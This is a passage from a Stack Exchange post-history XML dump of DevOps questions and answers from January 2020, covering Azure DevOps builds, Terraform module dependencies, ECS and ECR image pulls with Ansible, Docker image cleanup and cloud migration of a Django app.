&quot;null&quot;&#xD;&#xA;                echo &quot;${env.FOO}&quot;&#xD;&#xA;                // or echo &quot;${FOO}&quot;, pipeline would fail here&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32231" PostHistoryTypeId="2" PostId="10485" RevisionGUID="2f06355e-4619-4b6a-a038-7ab182fcaa3a" CreationDate="2020-01-14T04:25:56.977" UserId="18459" Text="On Azure DevOps I need to build and deploy a ClickOnce application. Because this application needs to be signed (including config) I must create a build for staging and a build for production. &#xD;&#xA;&#xD;&#xA;I decided to create an artifact for my App with 2 tasks:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;At the moment I'm using the XML transformation to apply my specific staging or production settings. It is working fine but I would like to use the Variables substitution system build in Azure DevOps. I already use it in Deployment part for all my IIS project deployment. But in Deployment I have &quot;stage&quot; and I can easily tell the system to use my staging variable in staging stage and production one for my production stage. I cannot do that in Build Pipeline section.&#xD;&#xA;&#xD;&#xA;What can I do? Should I create 2 separate builds with 2 separate artifact?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/GLriv.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="32232" PostHistoryTypeId="1" PostId="10485" RevisionGUID="2f06355e-4619-4b6a-a038-7ab182fcaa3a" CreationDate="2020-01-14T04:25:56.977" UserId="18459" Text="How to arrange builds for staging and production with Azure DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32233" PostHistoryTypeId="3" PostId="10485" RevisionGUID="2f06355e-4619-4b6a-a038-7ab182fcaa3a" CreationDate="2020-01-14T04:25:56.977" UserId="18459" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32234" PostHistoryTypeId="2" PostId="10486" RevisionGUID="b2fbcd1b-1030-4922-9fd3-3a1dbe35a0ca" CreationDate="2020-01-14T06:17:38.873" UserId="14949" Text="I am trying to integrate database schema versioning in an existing project where schema is not versioned at all.&#xD;&#xA;&#xD;&#xA;Is it a good practice to create a tight mapping between application version and database schema version so much so that the application deployment will fail if the schema version is not the one expected by the app version? This is because the application has frequent schema changes.&#xD;&#xA;&#xD;&#xA;What are the pitfall of using such a logic in application init code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32235" PostHistoryTypeId="1" PostId="10486" RevisionGUID="b2fbcd1b-1030-4922-9fd3-3a1dbe35a0ca" CreationDate="2020-01-14T06:17:38.873" UserId="14949" Text="Application version and Database Schema version mapping" ContentLicense="CC BY-SA 4.0" />
  <row Id="32236" PostHistoryTypeId="3" PostId="10486" RevisionGUID="b2fbcd1b-1030-4922-9fd3-3a1dbe35a0ca" CreationDate="2020-01-14T06:17:38.873" UserId="14949" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32237" PostHistoryTypeId="2" PostId="10487" RevisionGUID="de1e3c1b-ddfb-4a33-bead-ce5d2f31f78f" CreationDate="2020-01-14T07:27:52.517" UserId="4377" Text="We are having webapp which is use Django and Mysql which run in Windows using Apache. Now we are planing to move into cloud service like &#xD;&#xA;&#xD;&#xA;1) Google cloud&#xD;&#xA;&#xD;&#xA;2) AWS&#xD;&#xA;&#xD;&#xA;3) Azure&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So to deploy existing Django and move MySQL into database into cloud  which one is easy tool from above 3 list. Or what is the approach that I can follow move my existing app into cloud&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32238" PostHistoryTypeId="1" PostId="10487" RevisionGUID="de1e3c1b-ddfb-4a33-bead-ce5d2f31f78f" CreationDate="2020-01-14T07:27:52.517" UserId="4377" Text="Cloud service for Django app deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="32239" PostHistoryTypeId="3" PostId="10487" RevisionGUID="de1e3c1b-ddfb-4a33-bead-ce5d2f31f78f" CreationDate="2020-01-14T07:27:52.517" UserId="4377" Text="&lt;amazon-web-services&gt;&lt;azure&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32240" PostHistoryTypeId="5" PostId="10479" RevisionGUID="0c4028cd-4537-4ed1-8417-21f2a776048e" CreationDate="2020-01-14T10:20:00.960" UserId="19083" Comment="and example to pull docker image" Text="This error `CannotPullContainerError` usually occurs when you have no access to the Internet from ECS and thus it doesn't able to pull an image from registry.&#xD;&#xA;&#xD;&#xA;Make sure you have networking configured in such a way to have an access to Internet https://stackoverflow.com/questions/48226547/aws-fargate-cannotpullcontainererror-500&#xD;&#xA;&#xD;&#xA;Manually you can confirm everything with such steps&#xD;&#xA;&#xD;&#xA; 1. Find route table. Check whether it belongs&#xD;&#xA;    to your VPC.&#xD;&#xA; 2. Find proper NAT (you need NAT Gateway ID) (**IMPORTANT**: NAT should be launched in PUBLIC&#xD;&#xA;    subnet)&#xD;&#xA; 3. Create a route for that&#xD;&#xA;&#xD;&#xA;    $ aws ec2 create-route --route-table-id &quot;rtb-037148d7b5967a231&quot; --destination-cidr-block &quot;0.0.0.0/0&quot; --nat-gateway-id &quot;nat-0c137ae8a2b409088&quot;&#xD;&#xA;&#xD;&#xA;You can also use internet gateway instead of NAT but the main idea is the same - to create connectivity from service to registry.&#xD;&#xA;If you have that in place and verified you can easily rewrite that to ansible tasks.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;To start an ECS task you want to use `ecs_task` module https://docs.ansible.com/ansible/latest/modules/ecs_task_module.html&#xD;&#xA;&#xD;&#xA;To pull image from repository and start it you can use these tasks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: docker login&#xD;&#xA;      shell: &quot;$(aws ecr get-login --no-include-email --region {{ default_region }})&quot;&#xD;&#xA;      args:&#xD;&#xA;        executable: &quot;/bin/bash&quot;&#xD;&#xA;    &#xD;&#xA;    - name: pull latest app image&#xD;&#xA;      docker_image:&#xD;&#xA;        name: &quot;{{ ecr_repository }}/myapp:{{ image_tag }}&quot;&#xD;&#xA;        force: yes&#xD;&#xA;    &#xD;&#xA;    - name: run application with docker compose&#xD;&#xA;      docker_service:  # module is called docker_service before Ansible 2.8&#xD;&#xA;        project_name: &quot;myapp&quot;&#xD;&#xA;        project_src: &quot;{{ app_dir }}&quot;  # path to a directory containing a docker-compose.yml&#xD;&#xA;        pull: yes&#xD;&#xA;        recreate: always  # run scheduler from a clean state&#xD;&#xA;        remove_orphans: yes  # remove containers for services not defined in the compose file&#xD;&#xA;        state: present  # specifying present is the same as running docker-compose up&#xD;&#xA;        restarted: yes  # use with state present to restart all containers&#xD;&#xA;      register: output&#xD;&#xA;&#xD;&#xA;but in case of Fargate the above is not needed as everything is handled by task definition" ContentLicense="CC BY-SA 4.0" />
  <row Id="32241" PostHistoryTypeId="5" PostId="10473" RevisionGUID="5b058a74-b22f-4dcb-847d-f91ddf3869d3" CreationDate="2020-01-14T10:42:53.773" UserId="18535" Comment="Formatted question for code" Text="I want to run some script which checks for `LDAP` issue, and in case it found something, it sent me alert.&#xD;&#xA;I thought using `ssh` command with some generic user, but I'm not sure what is the response I'm expecting to get in case `LDAP` server is down. any idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32242" PostHistoryTypeId="24" PostId="10473" RevisionGUID="5b058a74-b22f-4dcb-847d-f91ddf3869d3" CreationDate="2020-01-14T10:42:53.773" Comment="Proposed by 18535 approved by -1 edit id of 1134" ContentLicense="CC BY-SA 4.0" />
  <row Id="32243" PostHistoryTypeId="5" PostId="10473" RevisionGUID="e2065eda-43ad-459c-a68c-608a1fb616c0" CreationDate="2020-01-14T10:42:53.773" UserId="354" Comment="Formatted question for code" Text="I want to run some script which checks for LDAP issue, and in case it found something, it sent me alert.&#xD;&#xA;I thought using `ssh` command with some generic user, but I'm not sure what is the response I'm expecting to get in case LDAP server is down. any idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32244" PostHistoryTypeId="6" PostId="10473" RevisionGUID="e2065eda-43ad-459c-a68c-608a1fb616c0" CreationDate="2020-01-14T10:42:53.773" UserId="354" Comment="Formatted question for code" Text="&lt;linux&gt;&lt;monitoring&gt;&lt;security&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32245" PostHistoryTypeId="2" PostId="10488" RevisionGUID="1bb736f3-22ad-4a9e-a8d1-000b564fa52c" CreationDate="2020-01-14T12:43:22.307" UserId="19100" Text="ECR needs authentication and authorization before you can pull an image.&#xD;&#xA;&#xD;&#xA;In your ansible [ecs_taskdefinition](https://docs.ansible.com/ansible/latest/modules/ecs_taskdefinition_module.html#parameters), please make sure you have parameter `task_role_arn` or `execution_role_arn` pointing to a role (i.e. you need to create a role `my-task-role1`).&#xD;&#xA;&#xD;&#xA;Attach the AWS managed policy `AmazonECSTaskExecutionRolePolicy` to the role (for Fargate tasks, the policy `AmazonEKSFargatePodExecutionRolePolicy` might be a better choice).&#xD;&#xA;&#xD;&#xA;This should provide you with the necessary permissions to download your image from ECR.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Policy descriptions from AWS Console:&#xD;&#xA;&#xD;&#xA;- `AmazonECSTaskExecutionRolePolicy`&#xD;&#xA;  &gt; Provides access to other AWS service resources that are required to run Amazon ECS tasks&#xD;&#xA;- `AmazonEKSFargatePodExecutionRolePolicy`&#xD;&#xA;  &gt; Provides access to other AWS service resources that are required to run Amazon EKS pods on AWS Fargate&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Side-note: AWS Console creates `ecsTaskExecutionRole` automatically if you create a Task Definition there.&#xD;&#xA;&#xD;&#xA;Description from &quot;_Create new Task Definition_&quot; in AWS Console:&#xD;&#xA;&gt; This role is required by tasks to pull container images and publish container logs to Amazon CloudWatch on your behalf. If you do not have the ecsTaskExecutionRole already, we can create one for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="32246" PostHistoryTypeId="2" PostId="10489" RevisionGUID="f5cddecc-f7c8-4ea5-b5fe-06f60484ab16" CreationDate="2020-01-14T12:47:25.427" UserId="19101" Text="Is n3dr compatible with nexus 3 servers that use a self signed certificates?&#xD;&#xA;If so, how to access such repositories? &#xD;&#xA;&#xD;&#xA;    ./n3dr-linux repositories -u xxxx -p xxxx-n https://xxxx -a&#xD;&#xA;    WARN[0000] ~/.n3dr.yaml does not exist or yaml is invalid&#xD;&#xA;    FATA[0000] Get https://xxxx/service/rest/v1/repositories: x509: certificate signed by unknown authority&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32247" PostHistoryTypeId="1" PostId="10489" RevisionGUID="f5cddecc-f7c8-4ea5-b5fe-06f60484ab16" CreationDate="2020-01-14T12:47:25.427" UserId="19101" Text="How to use n3dr with nexus 3 servers with self-signed certificates?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32248" PostHistoryTypeId="3" PostId="10489" RevisionGUID="f5cddecc-f7c8-4ea5-b5fe-06f60484ab16" CreationDate="2020-01-14T12:47:25.427" UserId="19101" Text="&lt;n3dr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32249" PostHistoryTypeId="2" PostId="10490" RevisionGUID="97a319e0-8d2a-4cf4-8186-d028873c72c4" CreationDate="2020-01-14T15:11:38.910" UserId="12524" Text="There is a general lack of understanding here.  I suspect your company doesn't understand your &quot;requirement&quot; and the Server team has provided something that either *won't* do the job or your team don't know *how* to make it work.  &#xD;&#xA;&#xD;&#xA;You say that you &quot;need&quot; to get a file onto a Database server - my first question would be - &quot;**why**&quot;? &#xD;&#xA;&#xD;&#xA;What's *in* this file that you need to put it *anywhere near* the Database server? &#xD;&#xA;&#xD;&#xA;Your company has a Policy against doing this through file shares on the Database server.  [Being a DBA] I completely understand (and *agree*) with this Policy.  &#xD;&#xA;&#xD;&#xA;On its own, a Service Account isn't going to be much use to you.  &#xD;&#xA;You *might* be able to use it with some File Transfer utility to copy the file but, again, *why* do you want to do this? &#xD;&#xA;&#xD;&#xA;Take a step back and describe the &quot;Big Picture&quot; problem that you're trying to solve here. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32250" PostHistoryTypeId="2" PostId="10491" RevisionGUID="ba0df0b7-8ba4-45dc-a31f-3eabae5350e9" CreationDate="2020-01-14T15:57:07.647" UserId="11564" Text="I have 2 modules A and B.&#xD;&#xA;I want a particular resource in module B to be created only after  a particular resource in module A is completed completely.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I was trying to achieve just that with this as output in the moduleA&#xD;&#xA;&#xD;&#xA;    output &quot;alb_arn&quot; {&#xD;&#xA;      value = &quot;${aws_alb.model-server.arn}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then in the main.tf i.e root i added this,, in the moduleB&#xD;&#xA;&#xD;&#xA;      dependency                          = &quot;${module.common.alb_arn}&quot;&#xD;&#xA;&#xD;&#xA;Then in the moduleB variable file referenced it like this.&#xD;&#xA;&#xD;&#xA;    variable &quot;dependency&quot; { }&#xD;&#xA;&#xD;&#xA;And in the moduleB main,tf used it as depends_on like this&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_alb_target_group&quot; &quot;modelServer&quot; {&#xD;&#xA;      name_prefix  = &quot;rqm-&quot;&#xD;&#xA;      port         = &quot;${local.modelServer_container_port}&quot;&#xD;&#xA;      protocol     = &quot;HTTP&quot;&#xD;&#xA;      vpc_id       = &quot;${lookup(var.vpc, var.env)}&quot;&#xD;&#xA;      health_check = &quot;${list(local.health_check)}&quot;&#xD;&#xA;      lifecycle {&#xD;&#xA;        create_before_destroy = true&#xD;&#xA;      }&#xD;&#xA;      depends_on = [ &quot;${var.dependency}&quot; ]&#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;rqm-modelServer-${var.env}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Error:&#xD;&#xA;&#xD;&#xA;    Error: aws_alb_target_group.modelServer: depends on value cannot contain interpolations: ${var.dependency}&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32251" PostHistoryTypeId="1" PostId="10491" RevisionGUID="ba0df0b7-8ba4-45dc-a31f-3eabae5350e9" CreationDate="2020-01-14T15:57:07.647" UserId="11564" Text="How to create dependency between modules in terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="32252" PostHistoryTypeId="3" PostId="10491" RevisionGUID="ba0df0b7-8ba4-45dc-a31f-3eabae5350e9" CreationDate="2020-01-14T15:57:07.647" UserId="11564" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32253" PostHistoryTypeId="2" PostId="10492" RevisionGUID="85e3c45d-3877-4ffa-8d24-6da25f37914e" CreationDate="2020-01-14T16:59:50.993" UserId="12903" Text="In our small startup (6 developers) and we use Google Kubernetes Engine + CircleCi (which deploys docker images to K8S with simple bash scripts). We have ~10 services, but we are growing. We use a simplified git-flow model. W plan to use in the future: terraform for infrastructure, helm charts for managing deployments.&#xD;&#xA;We want to have a possibility:&#xD;&#xA;  &#xD;&#xA;1. (now) to track our releases in every environment &#xD;&#xA;2. (now) manually rollback / automatically rollback after seeing some alerts in grafana. Rollback must apply Django migrations first and then use the image from the previous deployment.&#xD;&#xA;3. (now) release a set of services in one go &#xD;&#xA;4. (future) use some more advanced development techniques like canary deployment&#xD;&#xA;5. (future) have some metrics regarding deployments (eg. build time)&#xD;&#xA;&#xD;&#xA;There are plenty of tools which could be used for this job and it's hard to choose&#xD;&#xA;&#xD;&#xA;1. Spinnaker -&gt; it is said that it needs 3 engineers to maintain it, so probably it's too complex.&#xD;&#xA;2. Jenkins -&gt; it's more CI/CD tool. &#xD;&#xA;3. Harness/Argo/Google Deployment/Team City/Code Fresh -&gt; maybe one of those?&#xD;&#xA;4. Write a simple inhouse solution in Django -&gt; the most flexible one, but also the most error-prone.&#xD;&#xA;&#xD;&#xA;What do you recommend?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="32254" PostHistoryTypeId="1" PostId="10492" RevisionGUID="85e3c45d-3877-4ffa-8d24-6da25f37914e" CreationDate="2020-01-14T16:59:50.993" UserId="12903" Text="What is the best tool for the release management for Kubernetes in a small startup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32255" PostHistoryTypeId="3" PostId="10492" RevisionGUID="85e3c45d-3877-4ffa-8d24-6da25f37914e" CreationDate="2020-01-14T16:59:50.993" UserId="12903" Text="&lt;kubernetes&gt;&lt;release-management&gt;&lt;spinnaker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32256" PostHistoryTypeId="2" PostId="10493" RevisionGUID="c3b90542-43c5-4494-9c40-d2071e0d5be3" CreationDate="2020-01-14T17:32:28.120" UserId="18637" Text="I believe that to manage the builds / deploys follows by the same Jenkins you can use Blue Ocean theme it's more friendly and you can track CI/CD.&#xD;&#xA;For infrastructure I suggest use Rundeck (Cron like with web gui) + Ansible + ARA Records Ansible to track the plays." ContentLicense="CC BY-SA 4.0" />
  <row Id="32258" PostHistoryTypeId="2" PostId="10494" RevisionGUID="1a4da2b0-f700-4d08-87d4-9583c22a92ca" CreationDate="2020-01-14T19:35:19.803" UserId="13089" Text="Asking which service is the &quot;easiest&quot; is very subjective and I'm biased towards AWS since that is the service that I got most of my certification from. In the end, you should play around with each and make your own decision.&#xD;&#xA;&#xD;&#xA;With AWS, the best tool would be Elastic Beanstalk. Elastic Beanstalk is great for deploying easily while allowing customization.&#xD;&#xA;&#xD;&#xA;Elastic Beanstalk with Django: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/create-deploy-python-django.html&#xD;&#xA;&#xD;&#xA;For your database, AWS allows migration from an external MYSQL database to their RDS service: https://docs.aws.amazon.com/dms/latest/sbs/CHAP_MySQL2Aurora.html#CHAP_MySQL2Aurora.mysqldump" ContentLicense="CC BY-SA 4.0" />
  <row Id="32259" PostHistoryTypeId="2" PostId="10495" RevisionGUID="19061894-e5f4-4b35-baf9-42f7cab17a23" CreationDate="2020-01-14T19:44:38.620" UserId="323" Text="Is there a semi-easy way to use Ansible to open an interactive session?&#xD;&#xA;&#xD;&#xA;I've spent a good long time making use of keys and other credentials stores to make a stellar ansible inventory file, problem is, when I want to get on the servers that I can easily manage, I've gotta go out and find those creds and take the time to log into them.  &#xD;&#xA;&#xD;&#xA;It's almost easier for me just to run adhoc commands with ansible instead of logging in via ssh.  Is there a way to pause ansible with a running interactive session so I can get a command prompt?  I noticed that sometimes it lets me accept host keys but other times it bombs out, (I think this is when running ssh proxy), so I know things can be done interactively.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="32260" PostHistoryTypeId="1" PostId="10495" RevisionGUID="19061894-e5f4-4b35-baf9-42f7cab17a23" CreationDate="2020-01-14T19:44:38.620" UserId="323" Text="Using SSH to open interactive session in ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="32261" PostHistoryTypeId="3" PostId="10495" RevisionGUID="19061894-e5f4-4b35-baf9-42f7cab17a23" CreationDate="2020-01-14T19:44:38.620" UserId="323" Text="&lt;ansible&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32268" PostHistoryTypeId="2" PostId="10498" RevisionGUID="2259e26c-672a-4a36-9201-592e0d13bfe8" CreationDate="2020-01-14T23:26:44.540" UserId="19110" Text="Ignore this I misread part of the original post but cant delete the answer&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32269" PostHistoryTypeId="12" PostId="10498" RevisionGUID="a5b04544-4e77-4aa5-afe6-83855b6d3aed" CreationDate="2020-01-14T23:30:00.550" UserId="19110" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:19110,&quot;DisplayName&quot;:&quot;Simon&quot;}]}" />
  <row Id="32270" PostHistoryTypeId="2" PostId="10499" RevisionGUID="825ca4ee-c38c-4554-a5ed-f5f0d861ae31" CreationDate="2020-01-14T23:57:10.627" UserId="19112" Text="Good day!&#xD;&#xA;&#xD;&#xA;Could You help me? I use **NUnit** framework to test my .NET project. And I want to run my tests via **GitHub Actions**. &#xD;&#xA;&#xD;&#xA;What should be included in the assembly of my project? Maybe there are some standard examples?&#xD;&#xA;&#xD;&#xA;Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="32271" PostHistoryTypeId="1" PostId="10499" RevisionGUID="825ca4ee-c38c-4554-a5ed-f5f0d861ae31" CreationDate="2020-01-14T23:57:10.627" UserId="19112" Text="How to create GitHub Actions for unit testing in .NET projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32272" PostHistoryTypeId="3" PostId="10499" RevisionGUID="825ca4ee-c38c-4554-a5ed-f5f0d861ae31" CreationDate="2020-01-14T23:57:10.627" UserId="19112" Text="&lt;github&gt;&lt;nuget&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32273" PostHistoryTypeId="5" PostId="10498" RevisionGUID="36b7aaa8-2bfc-4423-aef3-c10105181c51" CreationDate="2020-01-15T01:35:56.043" UserId="19110" Comment="added 1159 characters in body" Text="Assuming this is transient container then my suggestion to work around the not yet implemented issues would be that whatever creates it does so by passing in secure environment variables for the values you want from the key vault; then your scripts can access the data that way.&#xD;&#xA;&#xD;&#xA;I'm not sure what your security considerations are so you'll need to take that into account so people can't login to the container to view the environment variables.&#xD;&#xA;&#xD;&#xA;As an example I have a function that uses the .Net Fluent API to create a container group and then sets the environment variables for the container using &quot;.WithEnvironmentVariablesWithSecuredValue()&quot; this means anyone whose looking at the container in the portal won't be able to see the values in plain text.&#xD;&#xA;&#xD;&#xA;Then you assign a managed identity to the function and then give that identity get permissions to secrets in the key vault and then you can either access the key vault in code in the function or the easier option is the put them as app settings for your function and then just get them as environment variables in your function - https://docs.microsoft.com/en-us/azure/app-service/app-service-key-vault-references &#xD;&#xA;&#xD;&#xA;Hope this helps or gives you an idea on a workaround?" ContentLicense="CC BY-SA 4.0" />
  <row Id="32274" PostHistoryTypeId="13" PostId="10498" RevisionGUID="346cb47e-5d6c-48c7-a006-43a98ff5eeeb" CreationDate="2020-01-15T01:35:59.883" UserId="19110" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:19110,&quot;DisplayName&quot;:&quot;Simon&quot;}]}" />
  <row Id="32275" PostHistoryTypeId="2" PostId="10500" RevisionGUID="fc79373b-3060-4658-8eae-2d8380590e60" CreationDate="2020-01-15T02:28:32.280" UserId="2463" Text="What you've described here is the recommended way to pass dependencies between modules, but it relies on features introduced in Terraform 0.12. You appear to be using Terraform 0.11, where unfortunately these features are not available.&#xD;&#xA;&#xD;&#xA;For Terraform 0.12 it would be idiomatic to write it using the &quot;first-class expressions&quot; syntax, like this (with these examples spanning the three modules just like you did in your opening example):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;output &quot;alb_arn&quot; {&#xD;&#xA;  value = aws_alb.model-server.arn&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;common&quot; {&#xD;&#xA;  source = &quot;./modules/common&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;other&quot; {&#xD;&#xA;  source = &quot;./modules/other&quot;&#xD;&#xA;&#xD;&#xA;  target_group_depends_on = module.common.alb_arn&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;target_group_depends_on&quot; {&#xD;&#xA;  type    = any # only the dependencies matter, not the value&#xD;&#xA;  default = null&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_alb_target_group&quot; &quot;modelServer&quot; {&#xD;&#xA;  # ...&#xD;&#xA;&#xD;&#xA;  depends_on = [var.target_group_depends_on]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The main missing feature for the above in Terraform 0.11 is that it only supports resources in `depends_on`, and not other kinds of object like variables.&#xD;&#xA;&#xD;&#xA;However, it's possible to work around that by introducing an additional do-nothing resource that exists only to be a dependency:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;output &quot;alb_arn&quot; {&#xD;&#xA;  value = &quot;${aws_alb.model-server.arn}&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;module &quot;common&quot; {&#xD;&#xA;  source = &quot;./modules/common&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;module &quot;other&quot; {&#xD;&#xA;  source = &quot;./modules/other&quot;&#xD;&#xA;&#xD;&#xA;  target_group_depends_on = &quot;${module.common.alb_arn}&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;target_group_depends_on&quot; {&#xD;&#xA;  type    = &quot;string&quot; # (because &quot;any&quot; isn't supported in 0.11)&#xD;&#xA;  default = &quot;&quot;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;target_group_depends_on&quot; {&#xD;&#xA;  triggers = {&#xD;&#xA;    # The reference to the variable here creates an implicit&#xD;&#xA;    # dependency on the variable.&#xD;&#xA;    dependency = &quot;${var.target_group_depends_on}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;aws_alb_target_group&quot; &quot;modelServer&quot; {&#xD;&#xA;  # ...&#xD;&#xA;&#xD;&#xA;  # Marking the null_resource as an explicit dependency&#xD;&#xA;  # means this indirectly depends on everything the&#xD;&#xA;  # null_resource depends on.&#xD;&#xA;  depends_on = [&quot;null_resource.target_group_depends_on&quot;]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that in Terraform 0.11 the `depends_on` argument takes a list of literal strings containing resource addresses, not interpolated values. That was the specific reason for the error message you saw when you tried your example, but a reference like `&quot;var.dependency&quot;` would not have worked there either because only resource addresses are accepted as explicit dependencies in Terraform 0.11.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32276" PostHistoryTypeId="2" PostId="10501" RevisionGUID="4d3299f8-9c35-4d55-bf5e-afdf253c73de" CreationDate="2020-01-15T03:39:32.157" UserId="19115" Text="As others have said, you wouldn't check the binaries into git. But, Bitbucket offers a separate &quot;Downloads&quot; area per-repo. This is a separate area, not part of the git repo. If using Bitbucket Pipelines, you could even [automate the deployment to the downloads area][1], if that suits the workflow.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bitbucket/deploy-build-artifacts-to-bitbucket-downloads-981144761.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="32281" PostHistoryTypeId="6" PostId="10499" RevisionGUID="c06405c5-65ff-431e-a74e-e8ae550a20a7" CreationDate="2020-01-15T08:17:28.660" UserId="19112" Comment="edited tags" Text="&lt;github&gt;&lt;nuget&gt;&lt;unit-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="32283" PostHistoryTypeId="2" PostId="10503" RevisionGUID="681813bc-f87e-4f73-8e44-6e12358f2ade" CreationDate="2020-01-15T10:41:16.763" UserId="19083" Text="So I ended up using this simple shell script&#xD;&#xA;&#xD;&#xA;    docker images -q --filter &quot;before=ecr.us-east-1.amazonaws.com/myapp:02e56bac4ee3f27a4d5670a6ac0d578e3dd5b2e5&quot; | xargs docker rmi --force&#xD;&#xA;&#xD;&#xA;First you [filter your images to list](https://docs.docker.com/engine/reference/commandline/images/#filtering) only those created before the latest one (you either know your recent tag or just use `latest` one)&#xD;&#xA;&#xD;&#xA;The you [just remove](https://docs.docker.com/engine/reference/commandline/rmi/) those images with `docker rmi` piping it to [xargs](http://man7.org/linux/man-pages/man1/xargs.1.html)&#xD;&#xA;&#xD;&#xA;You can invoke this on each deploy or setup a cron to do that periodically." ContentLicense="CC BY-SA 4.0" />
  <row Id="32284" PostHistoryTypeId="50" PostId="4336" RevisionGUID="071491d7-7382-4b52-b898-afa4039f2d4a" CreationDate="2020-01-15T12:02:45.453" UserId="-1" />
  <row Id="32286" PostHistoryTypeId="5" PostId="10489" RevisionGUID="659db308-2cbf-45c6-8b5e-00394bf2b32a" CreationDate="2020-01-15T13:08:55.883" UserId="19101" Comment="added 76 characters in body" Text="Is n3dr compatible with nexus 3 servers that use a self signed certificates?&#xD;&#xA;If so, how to access such repositories? &#xD;&#xA;&#xD;&#xA;    ./n3dr-linux repositories -u xxxx -p xxxx-n https://xxxx -a&#xD;&#xA;    WARN[0000] ~/.n3dr.yaml does not exist or yaml is invalid&#xD;&#xA;    FATA[0000] Get https://xxxx/service/rest/v1/repositories: x509: certificate signed by unknown authority&#xD;&#xA;&#xD;&#xA;[UPDATE]&#xD;&#xA;&#xD;&#xA;Related issue on gihub: https://github.com/030/n3dr/issues/107&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
